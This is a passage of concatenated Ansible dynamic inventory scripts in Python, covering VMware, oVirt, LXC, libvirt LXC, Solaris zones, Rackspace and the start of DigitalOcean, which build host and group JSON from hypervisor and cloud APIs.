        for attr in ('datastore', 'network', 'vm'):
            try:
                value = getattr(host, attr)
                host_info['%ss' % attr] = self._get_obj_info(value, depth=0)
            except AttributeError:
                host_info['%ss' % attr] = []
        for k, v in self._get_obj_info(host.summary, depth=0).items():
            if isinstance(v, collections.MutableMapping):
                for k2, v2 in v.items():
                    host_info[k2] = v2
            elif k != 'host':
                host_info[k] = v
        try:
            host_info['ipAddress'] = host.config.network.vnic[0].spec.ip.ipAddress
        except Exception as e:
            print(e, file=sys.stderr)
        host_info = self._flatten_dict(host_info, prefix)
        if ('%s_ipAddress' % prefix) in host_info:
            host_info['ansible_ssh_host'] = host_info['%s_ipAddress' % prefix]
        return host_info

    def _get_vm_info(self, vm, prefix='vmware'):
        '''
        Return a flattened dict with info about the given virtual machine.
        '''
        vm_info = {
            'name': vm.name,
        }
        for attr in ('datastore', 'network'):
            try:
                value = getattr(vm, attr)
                vm_info['%ss' % attr] = self._get_obj_info(value, depth=0)
            except AttributeError:
                vm_info['%ss' % attr] = []
        try:
            vm_info['resourcePool'] = self._get_obj_info(vm.resourcePool, depth=0)
        except AttributeError:
            vm_info['resourcePool'] = ''
        try:
            vm_info['guestState'] = vm.guest.guestState
        except AttributeError:
            vm_info['guestState'] = ''
        for k, v in self._get_obj_info(vm.summary, depth=0).items():
            if isinstance(v, collections.MutableMapping):
                for k2, v2 in v.items():
                    if k2 == 'host':
                        k2 = 'hostSystem'
                    vm_info[k2] = v2
            elif k != 'vm':
                vm_info[k] = v
        vm_info = self._flatten_dict(vm_info, prefix)
        if ('%s_ipAddress' % prefix) in vm_info:
            vm_info['ansible_ssh_host'] = vm_info['%s_ipAddress' % prefix]
        return vm_info

    def _add_host(self, inv, parent_group, host_name):
        '''
        Add the host to the parent group in the given inventory.
        '''
        p_group = inv.setdefault(parent_group, [])
        if isinstance(p_group, dict):
            group_hosts = p_group.setdefault('hosts', [])
        else:
            group_hosts = p_group
        if host_name not in group_hosts:
            group_hosts.append(host_name)

    def _add_child(self, inv, parent_group, child_group):
        '''
        Add a child group to a parent group in the given inventory.
        '''
        if parent_group != 'all':
            p_group = inv.setdefault(parent_group, {})
            if not isinstance(p_group, dict):
                inv[parent_group] = {'hosts': p_group}
                p_group = inv[parent_group]
            group_children = p_group.setdefault('children', [])
            if child_group not in group_children:
                group_children.append(child_group)
        inv.setdefault(child_group, [])

    def get_inventory(self, meta_hostvars=True):
        '''
        Reads the inventory from cache or VMware API via pSphere.
        '''
        # Use different cache names for guests only vs. all hosts.
        if self.guests_only:
            cache_name = '__inventory_guests__'
        else:
            cache_name = '__inventory_all__'

        inv = self._get_cache(cache_name, None)
        if inv is not None:
            return inv

        inv = {'all': {'hosts': []}}
        if meta_hostvars:
            inv['_meta'] = {'hostvars': {}}

        default_group = os.path.basename(sys.argv[0]).rstrip('.py')

        if not self.guests_only:
            if self.config.has_option('defaults', 'hw_group'):
                hw_group = self.config.get('defaults', 'hw_group')
            else:
                hw_group = default_group + '_hw'

        if self.config.has_option('defaults', 'vm_group'):
            vm_group = self.config.get('defaults', 'vm_group')
        else:
            vm_group = default_group + '_vm'

        if self.config.has_option('defaults', 'prefix_filter'):
            prefix_filter = self.config.get('defaults', 'prefix_filter')
        else:
            prefix_filter = None

        if self.filter_clusters:
            # Loop through clusters and find hosts:
            hosts = []
            for cluster in ClusterComputeResource.all(self.client):
                if cluster.name in self.filter_clusters:
                    for host in cluster.host:
                        hosts.append(host)
        else:
            # Get list of all physical hosts
            hosts = HostSystem.all(self.client)

        # Loop through physical hosts:
        for host in hosts:

            if not self.guests_only:
                self._add_host(inv, 'all', host.name)
                self._add_host(inv, hw_group, host.name)
                host_info = self._get_host_info(host)
                if meta_hostvars:
                    inv['_meta']['hostvars'][host.name] = host_info
                self._put_cache(host.name, host_info)

            # Loop through all VMs on physical host.
            for vm in host.vm:
                if prefix_filter:
                    if vm.name.startswith( prefix_filter ):
                        continue
                self._add_host(inv, 'all', vm.name)
                self._add_host(inv, vm_group, vm.name)
                vm_info = self._get_vm_info(vm)
                if meta_hostvars:
                    inv['_meta']['hostvars'][vm.name] = vm_info
                self._put_cache(vm.name, vm_info)

                # Group by resource pool.
                vm_resourcePool = vm_info.get('vmware_resourcePool', None)
                if vm_resourcePool:
                    self._add_child(inv, vm_group, 'resource_pools')
                    self._add_child(inv, 'resource_pools', vm_resourcePool)
                    self._add_host(inv, vm_resourcePool, vm.name)

                # Group by datastore.
                for vm_datastore in vm_info.get('vmware_datastores', []):
                    self._add_child(inv, vm_group, 'datastores')
                    self._add_child(inv, 'datastores', vm_datastore)
                    self._add_host(inv, vm_datastore, vm.name)

                # Group by network.
                for vm_network in vm_info.get('vmware_networks', []):
                    self._add_child(inv, vm_group, 'networks')
                    self._add_child(inv, 'networks', vm_network)
                    self._add_host(inv, vm_network, vm.name)

                # Group by guest OS.
                vm_guestId = vm_info.get('vmware_guestId', None)
                if vm_guestId:
                    self._add_child(inv, vm_group, 'guests')
                    self._add_child(inv, 'guests', vm_guestId)
                    self._add_host(inv, vm_guestId, vm.name)

                # Group all VM templates.
                vm_template = vm_info.get('vmware_template', False)
                if vm_template:
                    self._add_child(inv, vm_group, 'templates')
                    self._add_host(inv, 'templates', vm.name)

        self._put_cache(cache_name, inv)
        return inv

    def get_host(self, hostname):
        '''
        Read info about a specific host or VM from cache or VMware API.
        '''
        inv = self._get_cache(hostname, None)
        if inv is not None:
            return inv

        if not self.guests_only:
            try:
                host = HostSystem.get(self.client, name=hostname)
                inv = self._get_host_info(host)
            except ObjectNotFoundError:
                pass

        if inv is None:
            try:
                vm = VirtualMachine.get(self.client, name=hostname)
                inv = self._get_vm_info(vm)
            except ObjectNotFoundError:
                pass

        if inv is not None:
            self._put_cache(hostname, inv)
        return inv or {}


def main():
    parser = optparse.OptionParser()
    parser.add_option('--list', action='store_true', dest='list',
                      default=False, help='Output inventory groups and hosts')
    parser.add_option('--host', dest='host', default=None, metavar='HOST',
                      help='Output variables only for the given hostname')
    # Additional options for use when running the script standalone, but never
    # used by Ansible.
    parser.add_option('--pretty', action='store_true', dest='pretty',
                      default=False, help='Output nicely-formatted JSON')
    parser.add_option('--include-host-systems', action='store_true',
                      dest='include_host_systems', default=False,
                      help='Include host systems in addition to VMs')
    parser.add_option('--no-meta-hostvars', action='store_false',
                      dest='meta_hostvars', default=True,
                      help='Exclude [\'_meta\'][\'hostvars\'] with --list')
    options, args = parser.parse_args()

    if options.include_host_systems:
        vmware_inventory = VMwareInventory(guests_only=False)
    else:
        vmware_inventory = VMwareInventory()
    if options.host is not None:
        inventory = vmware_inventory.get_host(options.host)
    else:
        inventory = vmware_inventory.get_inventory(options.meta_hostvars)

    json_kwargs = {}
    if options.pretty:
        json_kwargs.update({'indent': 4, 'sort_keys': True})
    json.dump(inventory, sys.stdout, **json_kwargs)


if __name__ == '__main__':
    main()






#!/usr/bin/env python
# Copyright 2015 IIX Inc.
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

"""
ovirt external inventory script
=================================

Generates inventory that Ansible can understand by making API requests to
oVirt via the ovirt-engine-sdk-python library.

When run against a specific host, this script returns the following variables
based on the data obtained from the ovirt_sdk Node object:
 - ovirt_uuid
 - ovirt_id
 - ovirt_image
 - ovirt_machine_type
 - ovirt_ips
 - ovirt_name
 - ovirt_description
 - ovirt_status
 - ovirt_zone
 - ovirt_tags
 - ovirt_stats

When run in --list mode, instances are grouped by the following categories:

 - zone:
   zone group name.
 - instance tags:
   An entry is created for each tag.  For example, if you have two instances
   with a common tag called 'foo', they will both be grouped together under
   the 'tag_foo' name.
 - network name:
   the name of the network is appended to 'network_' (e.g. the 'default'
   network will result in a group named 'network_default')
 - running status:
   group name prefixed with 'status_' (e.g. status_up, status_down,..)

Examples:
  Execute uname on all instances in the us-central1-a zone
  $ ansible -i ovirt.py us-central1-a -m shell -a "/bin/uname -a"

  Use the ovirt inventory script to print out instance specific information
  $ contrib/inventory/ovirt.py --host my_instance

Author: Josha Inglis <jinglis@iix.net> based on the gce.py by Eric Johnson <erjohnso@google.com>
Version: 0.0.1
"""

USER_AGENT_PRODUCT = "Ansible-ovirt_inventory_plugin"
USER_AGENT_VERSION = "v1"

import sys
import os
import argparse
import ConfigParser
from collections import defaultdict

try:
    import json
except ImportError:
    # noinspection PyUnresolvedReferences,PyPackageRequirements
    import simplejson as json

try:
    # noinspection PyUnresolvedReferences
    from ovirtsdk.api import API
    # noinspection PyUnresolvedReferences
    from ovirtsdk.xml import params
except ImportError:
    print("ovirt inventory script requires ovirt-engine-sdk-python")
    sys.exit(1)


class OVirtInventory(object):
    def __init__(self):
        # Read settings and parse CLI arguments
        self.args = self.parse_cli_args()
        self.driver = self.get_ovirt_driver()

        # Just display data for specific host
        if self.args.host:
            print(self.json_format_dict(
                self.node_to_dict(self.get_instance(self.args.host)),
                pretty=self.args.pretty
            ))
            sys.exit(0)

        # Otherwise, assume user wants all instances grouped
        print(
            self.json_format_dict(
                data=self.group_instances(),
                pretty=self.args.pretty
            )
        )
        sys.exit(0)

    @staticmethod
    def get_ovirt_driver():
        """
        Determine the ovirt authorization settings and return a ovirt_sdk driver.

        :rtype : ovirtsdk.api.API
        """
        kwargs = {}

        ovirt_ini_default_path = os.path.join(
            os.path.dirname(os.path.realpath(__file__)), "ovirt.ini")
        ovirt_ini_path = os.environ.get('OVIRT_INI_PATH', ovirt_ini_default_path)

        # Create a ConfigParser.
        # This provides empty defaults to each key, so that environment
        # variable configuration (as opposed to INI configuration) is able
        # to work.
        config = ConfigParser.SafeConfigParser(defaults={
            'ovirt_url': '',
            'ovirt_username': '',
            'ovirt_password': '',
            'ovirt_api_secrets': '',
        })
        if 'ovirt' not in config.sections():
            config.add_section('ovirt')
        config.read(ovirt_ini_path)

        # Attempt to get ovirt params from a configuration file, if one
        # exists.
        secrets_path = config.get('ovirt', 'ovirt_api_secrets')
        secrets_found = False
        try:
            # noinspection PyUnresolvedReferences,PyPackageRequirements
            import secrets

            kwargs = getattr(secrets, 'OVIRT_KEYWORD_PARAMS', {})
            secrets_found = True
        except ImportError:
            pass

        if not secrets_found and secrets_path:
            if not secrets_path.endswith('secrets.py'):
                err = "Must specify ovirt_sdk secrets file as /absolute/path/to/secrets.py"
                print(err)
                sys.exit(1)
            sys.path.append(os.path.dirname(secrets_path))
            try:
                # noinspection PyUnresolvedReferences,PyPackageRequirements
                import secrets

                kwargs = getattr(secrets, 'OVIRT_KEYWORD_PARAMS', {})
            except ImportError:
                pass
        if not secrets_found:
            kwargs = {
                'url': config.get('ovirt', 'ovirt_url'),
                'username': config.get('ovirt', 'ovirt_username'),
                'password': config.get('ovirt', 'ovirt_password'),
            }

        # If the appropriate environment variables are set, they override
        # other configuration; process those into our args and kwargs.
        kwargs['url'] = os.environ.get('OVIRT_URL', kwargs['url'])
        kwargs['username'] = next(val for val in [os.environ.get('OVIRT_EMAIL'), os.environ.get('OVIRT_USERNAME'), kwargs['username']] if val is not None)
        kwargs['password'] = next(val for val in [os.environ.get('OVIRT_PASS'), os.environ.get('OVIRT_PASSWORD'), kwargs['password']] if val is not None)

        # Retrieve and return the ovirt driver.
        return API(insecure=True, **kwargs)

    @staticmethod
    def parse_cli_args():
        """
        Command line argument processing

        :rtype : argparse.Namespace
        """

        parser = argparse.ArgumentParser(description='Produce an Ansible Inventory file based on ovirt')
        parser.add_argument('--list', action='store_true', default=True, help='List instances (default: True)')
        parser.add_argument('--host', action='store', help='Get all information about an instance')
        parser.add_argument('--pretty', action='store_true', default=False, help='Pretty format (default: False)')
        return parser.parse_args()

    def node_to_dict(self, inst):
        """
        :type inst: params.VM
        """
        if inst is None:
            return {}

        inst.get_custom_properties()
        ips = [ip.get_address() for ip in inst.get_guest_info().get_ips().get_ip()] \
            if inst.get_guest_info() is not None else []
        stats = {}
        for stat in inst.get_statistics().list():
            stats[stat.get_name()] = stat.get_values().get_value()[0].get_datum()

        return {
            'ovirt_uuid': inst.get_id(),
            'ovirt_id': inst.get_id(),
            'ovirt_image': inst.get_os().get_type(),
            'ovirt_machine_type': inst.get_instance_type(),
            'ovirt_ips': ips,
            'ovirt_name': inst.get_name(),
            'ovirt_description': inst.get_description(),
            'ovirt_status': inst.get_status().get_state(),
            'ovirt_zone': inst.get_cluster().get_id(),
            'ovirt_tags': self.get_tags(inst),
            'ovirt_stats': stats,
            # Hosts don't have a public name, so we add an IP
            'ansible_ssh_host': ips[0] if len(ips) > 0 else None
        }

    @staticmethod
    def get_tags(inst):
        """
        :type inst: params.VM
        """
        return [x.get_name() for x in inst.get_tags().list()]

    # noinspection PyBroadException,PyUnusedLocal
    def get_instance(self, instance_name):
        """Gets details about a specific instance """
        try:
            return self.driver.vms.get(name=instance_name)
        except Exception as e:
            return None

    def group_instances(self):
        """Group all instances"""
        groups = defaultdict(list)
        meta = {"hostvars": {}}

        for node in self.driver.vms.list():
            assert isinstance(node, params.VM)
            name = node.get_name()

            meta["hostvars"][name] = self.node_to_dict(node)

            zone = node.get_cluster().get_name()
            groups[zone].append(name)

            tags = self.get_tags(node)
            for t in tags:
                tag = 'tag_%s' % t
                groups[tag].append(name)

            nets = [x.get_name() for x in node.get_nics().list()]
            for net in nets:
                net = 'network_%s' % net
                groups[net].append(name)

            status = node.get_status().get_state()
            stat = 'status_%s' % status.lower()
            if stat in groups:
                groups[stat].append(name)
            else:
                groups[stat] = [name]

        groups["_meta"] = meta

        return groups

    @staticmethod
    def json_format_dict(data, pretty=False):
        """ Converts a dict to a JSON object and dumps it as a formatted
        string """

        if pretty:
            return json.dumps(data, sort_keys=True, indent=2)
        else:
            return json.dumps(data)

# Run the script
OVirtInventory()






#!/usr/bin/env python
#
# (c) 2015-16 Florian Haas, hastexo Professional Services GmbH
# <florian@hastexo.com>
# Based in part on:
# libvirt_lxc.py, (c) 2013, Michael Scherer <misc@zarb.org>
#
# This file is part of Ansible,
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
"""
Ansible inventory script for LXC containers. Requires Python
bindings for LXC API.

In LXC, containers can be grouped by setting the lxc.group option,
which may be found more than once in a container's
configuration. So, we enumerate all containers, fetch their list
of groups, and then build the dictionary in the way Ansible expects
it.
"""
from __future__ import print_function

import sys
import lxc
import json

def build_dict():
    """Returns a dictionary keyed to the defined LXC groups. All
    containers, including the ones not in any group, are included in the
    "all" group."""
    # Enumerate all containers, and list the groups they are in. Also,
    # implicitly add every container to the 'all' group.
    containers = dict([(c,
                        ['all'] +
                        (lxc.Container(c).get_config_item('lxc.group') or []))
                       for c in lxc.list_containers()])

    # Extract the groups, flatten the list, and remove duplicates
    groups = set(sum([g for g in containers.values()], []))

    # Create a dictionary for each group (including the 'all' group
    return dict([(g, {'hosts': [k for k, v in containers.items() if g in v],
                      'vars': {'ansible_connection':'lxc'}}) for g in groups])

def main(argv):
    """Returns a JSON dictionary as expected by Ansible"""
    result = build_dict()
    if len(argv) == 2 and argv[1] == '--list':
        json.dump(result, sys.stdout)
    elif len(argv) == 3 and argv[1] == '--host':
        json.dump({'ansible_connection': 'lxc'}, sys.stdout)
    else:
        print("Need an argument, either --list or --host <host>", file=sys.stderr)

if __name__ == '__main__':
    main(sys.argv)






#!/usr/bin/env python

# (c) 2013, Michael Scherer <misc@zarb.org>
#
# This file is part of Ansible,
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from subprocess import Popen,PIPE
import sys
import json

result = {}
result['all'] = {}

pipe = Popen(['virsh', '-q', '-c', 'lxc:///', 'list', '--name', '--all'], stdout=PIPE, universal_newlines=True)
result['all']['hosts'] = [x[:-1] for x in pipe.stdout.readlines()]
result['all']['vars'] = {}
result['all']['vars']['ansible_connection'] = 'libvirt_lxc'

if len(sys.argv) == 2 and sys.argv[1] == '--list':
    print(json.dumps(result))
elif len(sys.argv) == 3 and sys.argv[1] == '--host':
    print(json.dumps({'ansible_connection': 'libvirt_lxc'}))
else:
    sys.stderr.write("Need an argument, either --list or --host <host>\n")






#!/usr/bin/env python

# (c) 2015, Dagobert Michelsen <dam@baltic-online.de>
#
# This file is part of Ansible,
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from subprocess import Popen,PIPE
import sys
import json

result = {}
result['all'] = {}

pipe = Popen(['zoneadm', 'list', '-ip'], stdout=PIPE, universal_newlines=True)
result['all']['hosts'] = []
for l in pipe.stdout.readlines():
  # 1:work:running:/zones/work:3126dc59-9a07-4829-cde9-a816e4c5040e:native:shared
  s = l.split(':')
  if s[1] != 'global':
    result['all']['hosts'].append(s[1])

result['all']['vars'] = {}
result['all']['vars']['ansible_connection'] = 'zone'

if len(sys.argv) == 2 and sys.argv[1] == '--list':
    print(json.dumps(result))
elif len(sys.argv) == 3 and sys.argv[1] == '--host':
    print(json.dumps({'ansible_connection': 'zone'}))
else:
    sys.stderr.write("Need an argument, either --list or --host <host>\n")






#!/usr/bin/env python

# (c) 2013, Jesse Keating <jesse.keating@rackspace.com,
#           Paul Durivage <paul.durivage@rackspace.com>,
#           Matt Martz <matt@sivel.net>
#
# This file is part of Ansible.
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

"""
Rackspace Cloud Inventory

Authors:
    Jesse Keating <jesse.keating@rackspace.com,
    Paul Durivage <paul.durivage@rackspace.com>,
    Matt Martz <matt@sivel.net>


Description:
    Generates inventory that Ansible can understand by making API request to
    Rackspace Public Cloud API

    When run against a specific host, this script returns variables similar to:
        rax_os-ext-sts_task_state
        rax_addresses
        rax_links
        rax_image
        rax_os-ext-sts_vm_state
        rax_flavor
        rax_id
        rax_rax-bandwidth_bandwidth
        rax_user_id
        rax_os-dcf_diskconfig
        rax_accessipv4
        rax_accessipv6
        rax_progress
        rax_os-ext-sts_power_state
        rax_metadata
        rax_status
        rax_updated
        rax_hostid
        rax_name
        rax_created
        rax_tenant_id
        rax_loaded

Configuration:
    rax.py can be configured using a rax.ini file or via environment
    variables. The rax.ini file should live in the same directory along side
    this script.

    The section header for configuration values related to this
    inventory plugin is [rax]

    [rax]
    creds_file = ~/.rackspace_cloud_credentials
    regions = IAD,ORD,DFW
    env = prod
    meta_prefix = meta
    access_network = public
    access_ip_version = 4

    Each of these configurations also has a corresponding environment variable.
    An environment variable will override a configuration file value.

    creds_file:
        Environment Variable: RAX_CREDS_FILE

        An optional configuration that points to a pyrax-compatible credentials
        file.

        If not supplied, rax.py will look for a credentials file
        at ~/.rackspace_cloud_credentials.  It uses the Rackspace Python SDK,
        and therefore requires a file formatted per the SDK's specifications.

        https://github.com/rackspace/pyrax/blob/master/docs/getting_started.md

    regions:
        Environment Variable: RAX_REGION

        An optional environment variable to narrow inventory search
        scope. If used, needs a value like ORD, DFW, SYD (a Rackspace
        datacenter) and optionally accepts a comma-separated list.

    environment:
        Environment Variable: RAX_ENV

        A configuration that will use an environment as configured in
        ~/.pyrax.cfg, see
        https://github.com/rackspace/pyrax/blob/master/docs/getting_started.md

    meta_prefix:
        Environment Variable: RAX_META_PREFIX
        Default: meta

        A configuration that changes the prefix used for meta key/value groups.
        For compatibility with ec2.py set to "tag"

    access_network:
        Environment Variable: RAX_ACCESS_NETWORK
        Default: public

        A configuration that will tell the inventory script to use a specific
        server network to determine the ansible_ssh_host value. If no address
        is found, ansible_ssh_host will not be set. Accepts a comma-separated
        list of network names, the first found wins.

    access_ip_version:
        Environment Variable: RAX_ACCESS_IP_VERSION
        Default: 4

        A configuration related to "access_network" that will attempt to
        determine the ansible_ssh_host value for either IPv4 or IPv6. If no
        address is found, ansible_ssh_host will not be set.
        Acceptable values are: 4 or 6. Values other than 4 or 6
        will be ignored, and 4 will be used. Accepts a comma-separated list,
        the first found wins.

Examples:
    List server instances
    $ RAX_CREDS_FILE=~/.raxpub rax.py --list

    List servers in ORD datacenter only
    $ RAX_CREDS_FILE=~/.raxpub RAX_REGION=ORD rax.py --list

    List servers in ORD and DFW datacenters
    $ RAX_CREDS_FILE=~/.raxpub RAX_REGION=ORD,DFW rax.py --list

    Get server details for server named "server.example.com"
    $ RAX_CREDS_FILE=~/.raxpub rax.py --host server.example.com

    Use the instance private IP to connect (instead of public IP)
    $ RAX_CREDS_FILE=~/.raxpub RAX_ACCESS_NETWORK=private rax.py --list
"""

import os
import re
import sys
import argparse
import warnings
import collections
import ConfigParser

from six import iteritems

from ansible.constants import get_config, mk_boolean

try:
    import json
except ImportError:
    import simplejson as json

try:
    import pyrax
    from pyrax.utils import slugify
except ImportError:
    sys.exit('pyrax is required for this module')

from time import time


NON_CALLABLES = (basestring, bool, dict, int, list, type(None))


def load_config_file():
    p = ConfigParser.ConfigParser()
    config_file = os.path.join(os.path.dirname(os.path.realpath(__file__)),
                               'rax.ini')
    try:
        p.read(config_file)
    except ConfigParser.Error:
        return None
    else:
        return p
p = load_config_file()


def rax_slugify(value):
    return 'rax_%s' % (re.sub('[^\w-]', '_', value).lower().lstrip('_'))


def to_dict(obj):
    instance = {}
    for key in dir(obj):
        value = getattr(obj, key)
        if isinstance(value, NON_CALLABLES) and not key.startswith('_'):
            key = rax_slugify(key)
            instance[key] = value

    return instance


def host(regions, hostname):
    hostvars = {}

    for region in regions:
        # Connect to the region
        cs = pyrax.connect_to_cloudservers(region=region)
        for server in cs.servers.list():
            if server.name == hostname:
                for key, value in to_dict(server).items():
                    hostvars[key] = value

                # And finally, add an IP address
                hostvars['ansible_ssh_host'] = server.accessIPv4
    print(json.dumps(hostvars, sort_keys=True, indent=4))


def _list_into_cache(regions):
    groups = collections.defaultdict(list)
    hostvars = collections.defaultdict(dict)
    images = {}
    cbs_attachments = collections.defaultdict(dict)

    prefix = get_config(p, 'rax', 'meta_prefix', 'RAX_META_PREFIX', 'meta')

    networks = get_config(p, 'rax', 'access_network', 'RAX_ACCESS_NETWORK',
                          'public', islist=True)
    try:
        ip_versions = map(int, get_config(p, 'rax', 'access_ip_version',
                                          'RAX_ACCESS_IP_VERSION', 4,
                                          islist=True))
    except:
        ip_versions = [4]
    else:
        ip_versions = [v for v in ip_versions if v in [4, 6]]
        if not ip_versions:
            ip_versions = [4]

    # Go through all the regions looking for servers
    for region in regions:
        # Connect to the region
        cs = pyrax.connect_to_cloudservers(region=region)
        if cs is None:
            warnings.warn(
                'Connecting to Rackspace region "%s" has caused Pyrax to '
                'return None. Is this a valid region?' % region,
                RuntimeWarning)
            continue
        for server in cs.servers.list():
            # Create a group on region
            groups[region].append(server.name)

            # Check if group metadata key in servers' metadata
            group = server.metadata.get('group')
            if group:
                groups[group].append(server.name)

            for extra_group in server.metadata.get('groups', '').split(','):
                if extra_group:
                    groups[extra_group].append(server.name)

            # Add host metadata
            for key, value in to_dict(server).items():
                hostvars[server.name][key] = value

            hostvars[server.name]['rax_region'] = region

            for key, value in iteritems(server.metadata):
                groups['%s_%s_%s' % (prefix, key, value)].append(server.name)

            groups['instance-%s' % server.id].append(server.name)
            groups['flavor-%s' % server.flavor['id']].append(server.name)

            # Handle boot from volume
            if not server.image:
                if not cbs_attachments[region]:
                    cbs = pyrax.connect_to_cloud_blockstorage(region)
                    for vol in cbs.list():
                        if mk_boolean(vol.bootable):
                            for attachment in vol.attachments:
                                metadata = vol.volume_image_metadata
                                server_id = attachment['server_id']
                                cbs_attachments[region][server_id] = {
                                    'id': metadata['image_id'],
                                    'name': slugify(metadata['image_name'])
                                }
                image = cbs_attachments[region].get(server.id)
                if image:
                    server.image = {'id': image['id']}
                    hostvars[server.name]['rax_image'] = server.image
                    hostvars[server.name]['rax_boot_source'] = 'volume'
                    images[image['id']] = image['name']
            else:
                hostvars[server.name]['rax_boot_source'] = 'local'

            try:
                imagegroup = 'image-%s' % images[server.image['id']]
                groups[imagegroup].append(server.name)
                groups['image-%s' % server.image['id']].append(server.name)
            except KeyError:
                try:
                    image = cs.images.get(server.image['id'])
                except cs.exceptions.NotFound:
                    groups['image-%s' % server.image['id']].append(server.name)
                else:
                    images[image.id] = image.human_id
                    groups['image-%s' % image.human_id].append(server.name)
                    groups['image-%s' % server.image['id']].append(server.name)

            # And finally, add an IP address
            ansible_ssh_host = None
            # use accessIPv[46] instead of looping address for 'public'
            for network_name in networks:
                if ansible_ssh_host:
                    break
                if network_name == 'public':
                    for version_name in ip_versions:
                        if ansible_ssh_host:
                            break
                        if version_name == 6 and server.accessIPv6:
                            ansible_ssh_host = server.accessIPv6
                        elif server.accessIPv4:
                            ansible_ssh_host = server.accessIPv4
                if not ansible_ssh_host:
                    addresses = server.addresses.get(network_name, [])
                    for address in addresses:
                        for version_name in ip_versions:
                            if ansible_ssh_host:
                                break
                            if address.get('version') == version_name:
                                ansible_ssh_host = address.get('addr')
                                break
            if ansible_ssh_host:
                hostvars[server.name]['ansible_ssh_host'] = ansible_ssh_host

    if hostvars:
        groups['_meta'] = {'hostvars': hostvars}

    with open(get_cache_file_path(regions), 'w') as cache_file:
        json.dump(groups, cache_file)


def get_cache_file_path(regions):
    regions_str = '.'.join([reg.strip().lower() for reg in regions])
    ansible_tmp_path = os.path.join(os.path.expanduser("~"), '.ansible', 'tmp')
    if not os.path.exists(ansible_tmp_path):
        os.makedirs(ansible_tmp_path)
    return os.path.join(ansible_tmp_path,
                        'ansible-rax-%s-%s.cache' % (
                            pyrax.identity.username, regions_str))


def _list(regions, refresh_cache=True):
    cache_max_age = int(get_config(p, 'rax', 'cache_max_age',
                                   'RAX_CACHE_MAX_AGE', 600))

    if (not os.path.exists(get_cache_file_path(regions)) or
        refresh_cache or
        (time() - os.stat(get_cache_file_path(regions))[-1]) > cache_max_age):
        # Cache file doesn't exist or older than 10m or refresh cache requested
        _list_into_cache(regions)

    with open(get_cache_file_path(regions), 'r') as cache_file:
        groups = json.load(cache_file)
        print(json.dumps(groups, sort_keys=True, indent=4))


def parse_args():
    parser = argparse.ArgumentParser(description='Ansible Rackspace Cloud '
                                                 'inventory module')
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('--list', action='store_true',
                       help='List active servers')
    group.add_argument('--host', help='List details about the specific host')
    parser.add_argument('--refresh-cache', action='store_true', default=False,
                        help=('Force refresh of cache, making API requests to'
                              'RackSpace (default: False - use cache files)'))
    return parser.parse_args()


def setup():
    default_creds_file = os.path.expanduser('~/.rackspace_cloud_credentials')

    env = get_config(p, 'rax', 'environment', 'RAX_ENV', None)
    if env:
        pyrax.set_environment(env)

    keyring_username = pyrax.get_setting('keyring_username')

    # Attempt to grab credentials from environment first
    creds_file = get_config(p, 'rax', 'creds_file',
                            'RAX_CREDS_FILE', None)
    if creds_file is not None:
        creds_file = os.path.expanduser(creds_file)
    else:
        # But if that fails, use the default location of
        # ~/.rackspace_cloud_credentials
        if os.path.isfile(default_creds_file):
            creds_file = default_creds_file
        elif not keyring_username:
            sys.exit('No value in environment variable %s and/or no '
                     'credentials file at %s'
                     % ('RAX_CREDS_FILE', default_creds_file))

    identity_type = pyrax.get_setting('identity_type')
    pyrax.set_setting('identity_type', identity_type or 'rackspace')

    region = pyrax.get_setting('region')

    try:
        if keyring_username:
            pyrax.keyring_auth(keyring_username, region=region)
        else:
            pyrax.set_credential_file(creds_file, region=region)
    except Exception as e:
        sys.exit("%s: %s" % (e, e.message))

    regions = []
    if region:
        regions.append(region)
    else:
        region_list = get_config(p, 'rax', 'regions', 'RAX_REGION', 'all',
                                 islist=True)
        for region in region_list:
            region = region.strip().upper()
            if region == 'ALL':
                regions = pyrax.regions
                break
            elif region not in pyrax.regions:
                sys.exit('Unsupported region %s' % region)
            elif region not in regions:
                regions.append(region)

    return regions


def main():
    args = parse_args()
    regions = setup()
    if args.list:
        _list(regions, refresh_cache=args.refresh_cache)
    elif args.host:
        host(regions, args.host)
    sys.exit(0)


if __name__ == '__main__':
    main()






#!/usr/bin/env python

'''
DigitalOcean external inventory script
======================================

Generates Ansible inventory of DigitalOcean Droplets.

